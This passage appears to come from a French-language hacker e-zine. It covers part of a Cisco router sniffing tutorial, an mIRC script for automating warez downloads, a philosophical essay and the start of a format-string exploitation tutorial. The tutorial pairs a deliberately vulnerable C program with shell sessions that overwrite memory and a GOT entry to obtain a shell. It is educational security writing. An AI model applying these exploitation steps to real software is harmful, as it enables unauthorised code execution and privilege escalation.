.!!!!
Success rate is 80 percent (4/5), round-trip min/avg/max = 1/2/4 ms

HUM
Faut spécifier que ça prend quand même un ti peu de temps a un router pour
remettre son interface à "ON"... ;-)

Bon.. j'ai pensé longuement (2 gorgées  de bières, ~6 chips) a qu'est-ce  qu'on
pourrait faire  d'autre.. Ya  juste 2 choses qui me viennent en tête, faire une
route ip, et sniffer.

route ip in a nutshell :
on rentre dans le mode "configure terminal" (conf t)
ip route destination destinationmask ?
JessicaAlba(config)#ip route 1.1.1.0 255.255.255.0 ?
  A.B.C.D             Forwarding router's address
  Async               Async interface
  BVI                 Bridge-Group Virtual Interface
  CTunnel             CTunnel interface
  Dialer              Dialer interface
  FastEthernet        FastEthernet IEEE 802.3
  Lex                 Lex interface
  Loopback            Loopback interface
  Multilink           Multilink-group interface
  Null                Null interface
  Tunnel              Tunnel interface
  Vif                 PGM Multicast Host interface
  Virtual-FrameRelay  Virtual Frame Relay interface
  Virtual-Template    Virtual Template interface
  Virtual-TokenRing   Virtual TokenRing
ici on voit le help pour la suite..
en gros pour que notre router sache qui faut qu'il envoie au router 2.2.2.2
les packets destinés au network 1.1.1.0 on marque :
ip route 1.1.1.0 255.255.255.0 2.2.2.2 
et c'est tout..
on peut aussi spécifier une interface, ou carrément discarter :
ip route 1.1.1.0 255.255.255.0 fastEthernet 0/0.133
ip route 1.1.1.0 255.255.255.0 null 0 

Bon, maintenant.. sniffons.
N'oublier pas que ctun router, pis que sniffer sur un router c'est facile :
JessicaAlba#terminal monitor
JessicaAlba#debug ip packet 
IP packet debugging is on
IP: s=10.10.179.255 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 229, rcvd 3
IP: s=10.10.108.155 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 247, rcvd 3
IP: s=10.10.180.250 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 240, rcvd 3

ouhh
c cute
JessicaAlba#debug ip packet detail 
IP packet debugging is on (detailed)
JessicaAlba#
IP: s=10.10.194.222 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 263, rcvd 3
    UDP src=138, dst=138
IP: s=10.10.125.124 (FastEthernet0/1), d=10.10.255.255 (FastEthernet0/1), len 239, rcvd 3
    UDP src=138, dst=138

Mais disont que je m'en fou du FastEthernet0/1..
JessicaAlba#debug interface fastEthernet 0/0.133 
Condition 1 set

Donc là, quand je vais faire debug ip packet detail, je vais avoir juste ce qui
passe par 0/0.133 (plus les loopbacks ça dlair). Donc, si je ping de ma machine
tantôt qui est à coté de mon router ça me donne :
IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 100, rcvd 4
    ICMP type=8, code=0
IP: s=113.100.1.6 (local), d=113.100.4.88, len 100, cef process switched
    ICMP type=0, code=0
IP: s=113.100.1.6 (local), d=113.100.4.88 (FastEthernet0/0.133), len 100, sending
    ICMP type=0, code=0
pour un ti ping

Si je telnet Jessica de mon autre machine ça me donne :
IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 44, rcvd 4
    TCP src=58434, dst=23, seq=273281393, ack=0, win=4128 SYN
IP: s=113.100.1.6 (local), d=113.100.4.88, len 44, cef process switched
    TCP src=23, dst=58434, seq=1702304235, ack=273281394, win=4128 ACK SYN
IP: s=113.100.1.6 (local), d=113.100.4.88 (FastEthernet0/0.133), len 44, sending
    TCP src=23, dst=58434, seq=1702304235, ack=273281394, win=4128 ACK SYN
IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 40, rcvd 4
    TCP src=58434, dst=23, seq=273281394, ack=1702304236, win=4128 ACK
IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 58, rcvd 4
    TCP src=58434, dst=23, seq=273281394, ack=1702304236, win=4128 ACK PSH
IP: s=113.100.4.88 (FastEthernet0/0.133), d=113.100.1.6, len 40, rcvd 4
    TCP src=58434, dst=23, seq=273281412, ack=1702304236, win=4128 ACK
IP: s=113.100.1.6 (local), d=113.100.4.88, len 52, cef process switched
and so on..
Je pourrais regarder  ça avec vous,  mais me semble  que c'est simple?  pour le
ping, y'envoie un ICMP type 0 code 0, pis nous on le process pis on lui renvoie
la réponse même chose pour la connexion TCP, y nous envoie un SYN, on  process,
on lui envoie un ACK... facile!
(Vous  avez  rien  comprit  de  TCP/SYN/ICMP?  allez lire  mon  autre  article,
Internet++ dans Mindkind10.. hehe)

JessicaAlba#no debug ip packet detail 
IP packet debugging is off (detailed)

Voila maintenant on se fait pu achaler par le debug!
C'est plutôt pratique comme commande, mais c'est crissement pas  conseillé  sur
une interface  utilisée grandement  : printer  le packet  génère plus  de jus à
envoyer au telnet que le packet lui même. Alors à moins d'avoir des  conditions
de  filterings  de  l'enfer.. faite  pas  un  debug ip  packet  detail  sur une
interface qui  roule à  1gig/sec.. hehe  j'ai jamais  essayé de  le faire, donc
jpeux pas vous dire si Cisco a mit une protection.. mais ça m'étonnerait :-)

Bon ben, c'est tout le temps que j'ai à mettre sur ces belles machines la..  Si
vous voulez taponner sur  une machine, le moyen  le plus facile c'est  dans les
écoles qui donnent les cours de Cisco, ils ont des chances d'avoir des  2600 et
des switchs. Par contre pour le GSR, ya que les backbones sur Internet qui  ont
ça, ou les compagnies qui ont des mautadis gros network locaux...


JessicaAlba# exit

au revoir Jessica ;-)

                                                                    - LastCall_


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /               lastcall@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'
	  
	  
	  


      Tanné de taguer vos xdcc a main ? Tanné des quotas de Vidéotron ? Et
      bien le script mIRC suivant va au moins régler un de vos 2 problèmes. 
      Effectivement, vous allez maintenant pouvoir downloader à partir d'un
      xdcc en un seul double click (désoler pour les naïfs qui croyaient
      pouvoir dire adieu à leurs quota).
      
------------------------------- 8< cut here 8< -------------------------------

------- remote ---------

on *:TEXT:*:#: {
  if ($chr(35) isin $1) {
    if (%wleech) {
      aline @warez-divx $nick $1 $4-
    }
  }
}

menu @warez-divx {
dclick: %wleechtxt = $sline(@warez-divx,1) | wleech %wleechtxt
}  
      

------- popups ---------
n1=-=Leech=-
n2=.warez/divx
n3=..$iif(!%wleech,activate):%wleech = on | window -lR @warez-divx 
n4=..$iif(%wleech,desactivate):unset %wleech
n5=..-

------------------------------- >8 cut here >8 -------------------------------





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.07 Le petit guide de l'introspection                \        \     !
     .             d'une assemblée d'illusions                 \        \    .
     ;       aka Le mirroir de l'évolution                      \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Après la roue, la vie paisible s'était établie dans les terres de ce monde sans
frontière. L'expansion ne s'arrêtait pas ni même la progression  technologique.
La roue, puis la charrette, puis l'invention des chevaux ! Peut importe l'ordre
chronologique des inventions, une chose est sûre, l'homme se croit maître de ce
que ses sens perçoivent. S'il était capable de toucher à sa femme, et bien elle
était sienne. S'il pouvait tuer son  ennemi, alors son âme devenait sienne.  Ce
qu'il ne  pouvait pas  toucher appartenait  au domaine  du mystérieux. L'humain
vénérait  la  Lune,  le  Soleil,  l'horizon.  Son  empire  a  grandit  avec les
décennies. Il a maîtrisé l'eau avec  ses galères plus dangereuses les unes  que
les autres pour aller s'établir en Inde. La démographie a augmentée, l'économie
de  même. Son  estime et  sa grandeur  ont enflés  pour le  mettre au  haut  de
l'échelle alimentaire. Il est le meurtrier, il est le dominant. 

Puis est venu l'époque des fusils. Fini les batailles d'armures, l'intelligence
accrue a apporté les guerres de tranchées. Guerre Mondiale 1 et Guerre Mondiale
2. L'ère atomique n'étant plus à la mode, nous sommes rendus avec de  nouvelles
armes. Les McDonalds et ses  dérivés prennent d'assaut les territoires  occupés
sans que  personne ne  riposte. Nous  en sommes  là. Environ  2000 ans  se sont
écoulées depuis  la date  inscrite sur  la Bible. Nous sommes  si intelligents.
Chaque enfant a sa télévision, son gameboy couleur, son ordinateur familial  et
sa connexion haute-vitesse. Que demander de plus à l'évolution ? La roue a fait
suffisamment de chemin. Nous  sommes vraiment intelligents. Chaque  matin, tout
le monde se lève  pour assurer la prospérité  des générations à venir.  Plus la
cravate est longue, plus  la réussite est grande.  La vie roule à  son plein et
tout va trop vite selon certains. Un problème se pose. Les dépressions sont  en
nombre  grandissant.  La  marge des  différentes  classes  économiques augmente
affreusement. Le taux de cholestérol devient énorme. Ces problèmes ne sont plus
des problèmes, car nous sommes  des humains intelligents et responsables.  Nous
avons  trouvés une  solution qui  est :  "Engageons des  scientifiques  et  des
chercheurs pour  trouver les  réponses". Ne  voyez-vous pas  toute l'idiotie de
cette  si  brillante idée  ?  Comment faire  grandir  une population  si  cette
population ne fait que consommer et surconsommer ? Ne voyez-vous pas la  grosse
vieille illettrée assise sur sa chaise à regarder ses romans savons à  longueur
de journée ?  Ne voyez-vous pas  l'alcoolique qui travaille  dans son usine  de
bacon à attendre innocemment  la fin de son  quart ? Et ne  voyez-vous pas tous
ces enfants  drogués qui  ont foi  en la  facilité des  choses, toujours prêt à
aller  fêter en  demandant un  peu de  sous à  leurs parents.  Nous sommes  une
société d'irrationalité. 

Donner le savoir à la minorité pour que les autres baignent dans l'ignorance et
la précarité n'apportera  pas grand chose  à la soi-disante  évolution humaine.
Nous  en sommes  donc ici  à se  demander le  réel bienfait  de ces  recherches
incessantes. Les médecins tentent de faire vivre le plus longtemps les humains,
mais ces  humains auraient-ils  tout simplement  peur de  mourrir ?  L'humain a
peur,  terriblement  peur  du  mystérieux. C'est  pourquoi  il  essaie  de tout
maîtriser. Autrefois,  il ne  comprenait pas  la Lune,  maintenant il essaie de
voir  plus loin  que la  vie. L'humain  se croit  maître de  ce  que  ses  sens
perçoivent, mais il ne se rend pas  compte que c'est tout à fait l'inverse.  Ce
que ses sens perçoivent deviennent maître de lui-même. L'humain s'enchaîne à ce
monde matériel  parce qu'il  a peur.  Il s'acharne  a essayer  de vivre l'amour
parce  qu'il  désire  s'attacher  à la  vie.  L'évolution  est  donc remise  en
question. Après avoir  dépassé la limite  de la survie,  l'humain n'a cessé  de
contrôler son monde mais sans s'arrêter pour se demander si c'était nécessaire.
Donc, est-ce réellement nécessaire d'avoir  700 canaux de télévisions ?  Est-ce
réellement nécessaire de se faire greffer un nouveau foie lorsque le vieux sera
épuisé ?  Est-ce vraiment  nécessaire de  vivre ?  Vous fuyez  la mort. Dans ce
monde d'illusions, l'humain s'attache  désespérément à ce qu'il  croit dominer.
Comme dirait  le bon  proverbe des  personnes sans  grandeur : "C'est effrayant
qu'en l'an 2000 ça  se produise encore !",  et ce avec toute  l'ironie que cela
apporte. Si  rusé et  sournois qu'est  cet humain  qu'il ne  voit même  pas son
comportement. Ce texte  ne changera rien  parce que l'humain  est doué dans  la
stupidité. Parmis  toute forme  de vie  existante, l'humain  est décidément  la
moins évoluée...

Sincèrement,

nothing94

web : http://nothing94.250x.com




            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                 dieforyoursins@hotmail.com              /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90      
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90      
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90      
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      
      
                            Null si decouvert.      
      
      
      
            
                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.08 Format string attack                             \        \     !
     .             aka                                         \        \    .
     ;       Un trio fmt svp                                    \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

--[ Introduction : 

Dans  un monde  où le  domaine de  la sécurité  informatique est  en  constante
évolution et où les  progrès se font rapidement,  la guerre de l'information se
déroulant entre ceux qui cherchent à pousser le hacking et ceux qui cherchent à
l'éliminer est féroce.

Les techniques  afin d'escalader  les niveaux  de privilège  ont aussi  changé.
Rappelons-nous les  stack overflows  simple d'antan,  où il  ne  suffisait  que
d'écraser notre pointeur d'instruction [1]. Regardons maintenant les techniques
d'aujourd'hui, par  exemple dans  l'exploit de  MaXX, qui  consiste à saisir le
contrôle du programme avec l'aide d'un off-by-one heap overflow. [2]

Dans cet article, il sera question de techniques pour faciliter  l'exploitation
d'une erreur  de formatage.   En effet,  lorsque nous  prenons une  attaque par
format string,  plusieurs portes  s'offrent à  nous afin  de pouvoir prendre le
contrôle du programme.  Il est possible de faciliter le processus de  plusieurs
façons qui  nous aidera  à atteindre  l'objectif désiré,  comme par  exemple de
directement écrire notre shellcode en mémoire ;) 



--[ Un petit rappel :

Même si les erreurs de formatage se font de plus en plus rares de nos jours, et
qu'elles  sont  facilement  détectables  avec  des  outils  d'automatisation de
détection de  failles, il  reste que  c'est une  faille de  sécurité qui  reste
intéressante à exploiter.

Afin de  pouvoir contourner  le programme  vulnérable à  l'erreur de formatage,
nous devons définir les différents points de la tâche afin de parvenir à  notre
objectif. 

- Identifier la faille
- Trouver la distance et le padding pour
  avoir le contrôle de notre format string
- Trouver quel endroit en mémoire écraser (retloc)
- Trouver la valeur que nous allons écraser retloc avec (retadr)
- Bâtir notre buffer et puis l'injecter.

Avec une telle attaque, il est brièvement possible d'écrire ce que nous voulons
en mémoire,  ce qui  conséquemment nous  laisse un  grand choix  pour saisir le
contrôle du programme.  Il existe  plusieurs façon de prendre le  contrôle d'un
programme  lorsque  nous avons  un  certain contrôle  sur  ce qui  se  passe en
mémoire, que ce soit [3]:

- en écrasant des entrées dans la Global Offset Table (GOT)
                              afin d'hijacker une fonction, 
- en ajoutant une entrée dans la table de destructeurs (.dtors),
- en falsifiant le contenu d'un boundary tag lors d'une
                         allocation dynamique (malloc),
- ou bien tout simplement en écrasant EIP/EBP dans un stack frame 
                                        lors d'un stack overflow.



--[ Le problème : 

Lorsque nous essayons d'exploiter et de prendre le contrôle d'un tel  programme
au  moyen  d'une  attaque,  le succès  de  l'exploitation  dépend  de plusieurs
paramètres dynamiques (distance,  padding, retloc, retadr).   Dans le pire  des
environnements, il peut être très difficile d'obtenir ces paramètres.  

Il est toujours possible de bruteforcer plusieurs de ces valeurs, mais plus  le
nombre  d'offsets  à trouver  augmente,  plus le  bruteforce  va être  long  et
pénible.  Donc lorsqu'il est possible  de diminuer ces valeurs inconnues,  nous
possédons plus de chances pour que notre exploit fonctionne.



--[ Les détails :

Nous avons décrit plus haut qu'il  était possible d'écrire ce que nous  voulons
en  mémoire.  Nous  savons aussi  que lorsque  nous exploitons  une  erreur  de
formatage, les deux valeurs les plus importantes à trouver sont quelle  adresse
nous voulons modifier, et avec quelle valeur nous voulons modifier celle-ci.

Ce qui  est intéressant  à noter,  c'est que  les erreurs  de formatage ne nous
permettent  pas  seulement d'écrire  4  bytes en  mémoire.   En effet,  il  est
possible d'écrire une chaîne de  texte de n'importe quelle longueur,  en autant
que notre buffer est assez grand pour contenir notre format string maléfique.



--[ Un strcpy improvisé

Je vous  présente ici  une fonction  qui nous  permettra de  générer un  format
string qui va écrire à un  certain endroit en mémoire une chaîne  de caractères
de  notre choix.   Vous allez  sûrement rapidement  comprendre l'utilité  d'une
telle fonction ;)

void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode) 

- buffer : Le buffer qui contiendra la format string
- int dist : La distance jusqu'au début du buffer que nous contrôlons
- int align : Une valeur de 0 à 3 définissant l'alignement sur 4 bytes
- int retloc : L'endroit que où nous voulons écrire la string
- char *what : La string que nous voulons placer à retloc
- int mode : 1 pour le mode d'alignement, et 2 pour écrire en mémoire.
(le  mode  d'alignement  nous  permet  de  trouver  exactement  la  distance et
l'alignement pour atteindre notre buffer, tandis qu'avec 2 nous voulons  écrire
en mémoire; voir code)

	Prenons un simple exemple de code vulnérable.   :

--[ test.c
/*
   coded by g463
*/

#include <stdio.h>
#include <stdlib.h>

int
main (int argc, char *argv[]) {

     char *string = (char *) malloc (1024);

     strcpy (string, "jonny boy!!! ;)");

     printf ("\nRETLOC (Adresse de string) -> 0x%x\n", (int) string);
     printf ("string avant attaque -> %s\n", string);
     printf (argv[1]); // ayoyoyoyoyoyoyoyoye :-P
     printf ("\nstring apres attaque -> %s\n", string); 

     return 1;
}
--] eof 

guaylejs@ariel [~/codez/format_string/mindkind]$ gcc test.c -o test
guaylejs@ariel [~/codez/format_string/mindkind]$ ./test

RETLOC (Adresse de string) -> 0x8049708
string avant attaque -> jonny boy!!! ;)

string apres attaque -> jonny boy!!! ;)
guaylejs@ariel [~/codez/format_string/mindkind]$

Ce que nous voulons faire, c'est  exploiter l'erreur de format afin de  pouvoir
changer la string  que nous allons  imprimer à l'écran  la deuxième fois.   Si,
lors de l'exploitation normale d'une format string nous pouvons écrire 4  bytes
et saisir le contrôle du programme, alors pourquoi ne pas essayer d'écrire  une
chaîne de caractères au complet à un certain endroit en mémoire ? 

Premièrement,  prenons note  de la  valeur de  retour de  la  fonction  malloc.
Malloc nous retourne un  pointeur vers la zone  de mémoire allouée, qui  est en
l'occurrence la zone mémoire que nous voulons aussi écraser.  

guaylejs@ariel [~/codez/format_string/mindkind]$ ltrace ./test | grep malloc
malloc(1024)                                      = 0x08049708
guaylejs@ariel [~/codez/format_string/mindkind]$

Donc nous voyons que  la valeur que nous  voulons ré-écraser en mémoire  est de
0x08049708, c'est-à-dire notre retloc.

Ensuite, trouvons la distance et le  padding dont nous avons besoin pour  avoir
le contrôle sur la chaîne.  Rappelons-nous que le 'mode 1' est utilise  lorsque
nous voulons  trouver l'alignement  et le  padding, tandis  que le  'mode 2' va
écrire  nos valeurs  en mémoire.   Pour trouver  le bon  alignement et  le  bon
padding, nous devons avoir notre search-value, 0x41414141, tout de suite  après
le dernier point (.), aligné sur 4  bytes.  Ce qui va vouloir dire qu'à  partir
de maintenant, nous avons le contrôle sur notre buffer.  Vous pouvez  retrouver
une copie du code lib.c que j'utilise dans les exemples ainsi que les fonctions
qui génèrent  les format  strings à  la fin  de l'article.  Voyons voir, disait
l'aveugle :  

guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 110 0 0x8049708 test 1

[debut du  garbage...]

. 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 
8049708.bfffeac8.40038326.       2.bfffeaf4.bfffeb00. 8048540. 
0.bfffeac8.400382f6.40015094.       2. 8048380.bfffeaf4.40038268.40138ac8. 
0. 80483a1. 8048470.       2.bfffeaf4. 80482e4. 
8048540.4000b3c0.bfffeaec.40015634.       2.bfffebf2.bfffebf7. 
0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49. 
bffffc5c.bffffc79.bffffc84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd7
0. 
bffffd77.bffffd9f.bffffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3
f.bfffffed. 0.      10.  8001bf.       6.    1000.      11.      64.       3. 
8048034.       4. 20.       5.       6.       7.40000000.       8.       0. 
9. 8048380.   b.     cf6.       c.     cf6.       d.     34d.       e.     34d. 
f.bfffebed.       0.       0.       0.       0.       0.38356900.65740036. 
41007473.be414141. -------------------------------------------------------- ---
---------------^^---------^^^^^^ 8babeba.be080497. 9babeba.be080497. 
ababeba.be080497. bbabeba.be080497. cbabeba 
7722773992e783825 
7796306292e783825     7796306292e783825                     

[fin du garbage...]

Comme nous  le voyons  lors du  output de  notre programme,  notre search value
0x41414141 n'est pas tout a fait  la valeur après le dernier point.   La valeur
après le  dernier point  est  0xcbabeba.   Essayons maintenant  de creuser plus
profondément dans la stack, avec une plus grande distance :  

guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 0 0x8049708 test 1

[debut du garbage...]

. 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 
8049708.bfffeac8.40038326.       2.bfffeaf4.bfffeb00. 8048540. 
0.bfffeac8.400382f6.40015094.       2. 8048380.bfffeaf4.40038268.40138ac8. 
0. 80483a1. 8048470.       2.bfffeaf4. 80482e4. 
8048540.4000b3c0.bfffeaec.40015634.       2.bfffebf2.bfffebf7. 
0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49.bffffc5c.bffffc79.bffff
c84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd70.bffffd77.bffffd9f.bff
ffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3f.bfffffed.       0. 
10.  8001bf.       6.    1000.      11.      64.       3. 8048034.       4. 
20.       5.       6.       7.40000000.       8.       0.       9. 8048380. 
b.     cf6.       c.     cf6.       d.     34d.       e.     34d. 
f.bfffebed.       0.       0.       0.       0. 
0.38356900.65740036.41007473.be414141      ------------------------------------
--------------------------------------^^---------^^^^^^
                                                                                                                                                                            146456250be080497                                                                                                                                                                                                                                        163233466be080497     180010682be080497                                                                                               
[fin du garbage...]

Yay ! Nous avons enfin atteint la bonne distance pour rejoindre le début du 
buffer que nous contrôlons.  Reste maintenant juste à trouver le bon alignement 
pour être capable d'aligner sur 4 bytes nos données.

guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 1 0x8049708 test 1

[debut du garbage...]

. 8049708. 8048451. 8049620. 80496e8.bfffea98.4004bbe8.4013a290.4000acf0. 804970
8.bfffeac8.40038326.       2.bfffeaf4.bfffeb00. 8048540.       0.bfffeac8.400382
f6.40015094.       2. 8048380.bfffeaf4.40038268.40138ac8.       0. 80483a1. 8048
470.       2.bfffeaf4. 80482e4. 8048540.4000b3c0.bfffeaec.40015634.       2.bfff
ebf2.bfffebf7.       0.bffffbf8.bffffc11.bffffc20.bffffc31.bffffc3f.bffffc49.bff
ffc5c.bffffc79.bffffc84.bffffc92.bffffd29.bffffd39.bffffd4e.bffffd5e.bffffd70.bf
fffd77.bffffd9f.bffffdad.bffffdef.bffffdf7.bffffe09.bffffe2a.bffffe37.bffffe3f.b
fffffed.       0.      10.  8001bf.       6.    1000.      11.      64.       3.
 8048034.       4.      20.       5.       6.       7.40000000.       8.       0
.       9. 8048380.       b.     cf6.       c.     cf6.       d.     34d.
e.     34d.       f.bfffebed.       0.       0.       0.       0.       0.383569
00.65740036.2e007473.41414141
---------------------^^^^^^^^

                                            -11619054748049708


                                                    -11619054748049709   -116190


[fin du garbage...]

Finalement, nous avons réussi à trouver les bonnes valeurs pour enfin contrôler
notre buffer, nous avons trouvé comme  distance 101 et comme alignement 1.   De
plus  nous  possédons notre  retloc,  égale à  0x8049708.   Essayons maintenant
d'appeler `lib` avec les arguments précis.  

guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib

./lib <dist> <align> <retloc> <what> <mode>

guaylejs@ariel [~/codez/format_string/mindkind]$
guaylejs@ariel [~/codez/format_string/mindkind]$ ./lib 101 1 0x8049708 "yay d-natural est mon nom... poum ti pou pa ti pou waaai... yo :P" 2 | grep string
RETLOC (Adresse de string) -> 0x8049708
string avant attaque -> jonny boy!!! ;)
string apres attaque -> yay d-natural est mon nom... poum ti pou pa ti pou waaai... yo :P
guaylejs@ariel [~/codez/format_string/mindkind]$

Et voilà le travail !  Nous avons  modifier une string en mémoire ! C'est  bien
beau être  capable d'écrire  une string  en mémoire,  mais comment cela peut-il
nous faciliter le travail lorsque nous voulons exploiter un programme ?  



--[ Écrivons le shellcode en mémoire

Nous sommes maintenant capables d'écrire  une string en mémoire, à  une adresse
que  nous déterminons.   Tout le  monde sait  aussi qu'un  shellcode c'est  une
string.  Donc  si nous  savons à  quel endroit  en mémoire  nous pouvons placer
notre string (shellcode), nous savons automatiquement quelle sera la valeur  de
retadr, sans  avoir besoin  de la  bruteforcer.  Nous  allons donc  éliminer un
'offset'  à  bruteforcer,  donc   plus  de  chances  pour   que  l'exploitation
fonctionne.

Plusieurs endroits différents s'offrent à  nous pour placer notre shellcode  en
mémoire qui  seront valides.  Je vous  en présente  2 qui  sont intéressantes à
travailler.  Pour saisir le contrôle de votre EIP, j'utilise l'écrasement d'une
entrée dans  GOT... Vous  pouvez tout  aussi bien  utiliser une  des techniques
précédemment mentionnées dans le 'rappel' : 

Présentons maintenant le prototype de la fonction qui sera utilisée pour écrire
le shellcode en mémoire :

void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char
*what, int mode);

- buffer : Le buffer qui contiendra la format string
- int dist : La distance jusqu'au début du buffer que nous controlons
- int align : Une valeur de 0 à 3 définissant l'alignement sur 4 bytes
- int retloc : L'endroit que où nous voulons écrire la string
- int retadr : L'endroit où nous voulons écrire le shellcode, et la valeur que
               nous allons écraser retloc avec.
- int mode : 1 pour le mode d'alignement, et 2 pour écrire en mémoire.
(le  mode  d'alignement  nous  permet  de  trouver  exactement  la  distance et
l'alignement pour atteindre notre buffer, tandis qu'avec 2 nous voulons  écrire
en mémoire; voir code)

--[ Écrivons-le où exactement ?!?!

- Après une entrée dans la GOT
Ici,  nous  allons écraser  une  entrée dans  la  GOT d'une  fonction  qui sera
utilisée sous  peu après  la fonction  de formatage  vulnérable... Nous  allons
faire pointer  l'entrée de  la GOT  que nous  avons choisie  avec l'adresse  de
GOT[index de la fonction]  + 4.  C'est évident;  maintenant, au lieu d'avoir  à
chercher le 'retadr' qui contient notre shellcode, nous allons nous même écrire
notre  shellcode après  l'adresse que  nous avons  trouvée, ce  qui élimine  la
recherche de notre 'retadr'.  C'est à cet endroit que nous allons placer  notre
shellcode.   Examinons un  peu l'image  de notre  process lorsque  nous  allons
rouler le  programme, et  voir si  nous n'écrasons  rien en mémoire d'important
lorsque nous allons insérer notre shellcode.  

Examinons les différentes sections lorsqu'elles seront mappées en mémoire [4]:

guaylejs@ariel [~/codez/format_string/mindkind]$ readelf -S ./test
There are 30 section headers, starting at offset 0x29b0:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        080480f4 0000f4 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048108 000108 000020 00   A  0   0  4

[...]	

->[19] .got              PROGBITS        08049620 000620 000028 04  WA  0   0  4
  [20] .dynamic          DYNAMIC         08049648 000648 0000a0 08  WA  5   0  4
  [21] .sbss             PROGBITS        080496e8 0006e8 000000 00   W  0   0  1
  [22] .bss              NOBITS          080496e8 0006e8 000018 00  WA  0   0  4
  [23] .stab             PROGBITS        00000000 0006e8 00078c 0c     24   0  4
  [24] .stabstr          STRTAB          00000000 000e74 0018f7 00      0   0  1
  [25] .comment          PROGBITS        00000000 00276b 0000e4 00      0   0  1

[...]

Donc nous  voyons que  nous avons  un jeu  après notre  GOT pour pouvoir écrire
notre shellcode, après les sections suivantes (.dynamic et .bss) [4].  Si  nous
écrasons une de ces 2 sections,  nous n'allons pas modifier le comportement  du
programme d'ici  l'exploitation, car  rien de  critique n'accède  à ces données
entre l'écrasement  de la  GOT et  l'hijack du  programme.  Les sections .stab,
.stabstr et suivantes ne sont pas  mappées en mémoires car elles possèdent  une
adresse égale  à 0x000000000.   Pour l'exemple  que je  vais vous montrer, nous
allons utiliser l'entrée de 'printf' dans la GOT :

guaylejs@ariel [~/codez/format_string/mindkind2]$ objdump -R test | grep printf
0804963c R_386_JUMP_SLOT   printf
guaylejs@ariel [~/codez/format_string/mindkind2]$

Nous avons  donc notre  retloc qui  est égale  à 0x0804963c.   Nous allons donc
placer notre shellcode à 0x0804963c+4, donc 0x08049640.


guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib

./lib <dist> <align> <retloc> <retadr> <mode>

guaylejs@ariel [~/codez/format_string/mindkind2]$
guaylejs@ariel [~/codez/format_string/mindkind2]$ ./lib 101 1 0x0804963c 0x08049640 2

[...]

bash$

Yes sir !  Nous avons réussi à l'exploiter...
Essayons maintenant de mettre le shellcode sur la stack...

- Somewhere into the staccccck

Maintenant, essayons d'insérer notre shellcode  à un autre endroit en  mémoire.
Plaçons-le,  pour  cet  exemple,  directement  sur  la  stack.   Appelons notre
programme de la  même façon que  précédemment, mais changeons  l'emplacement de
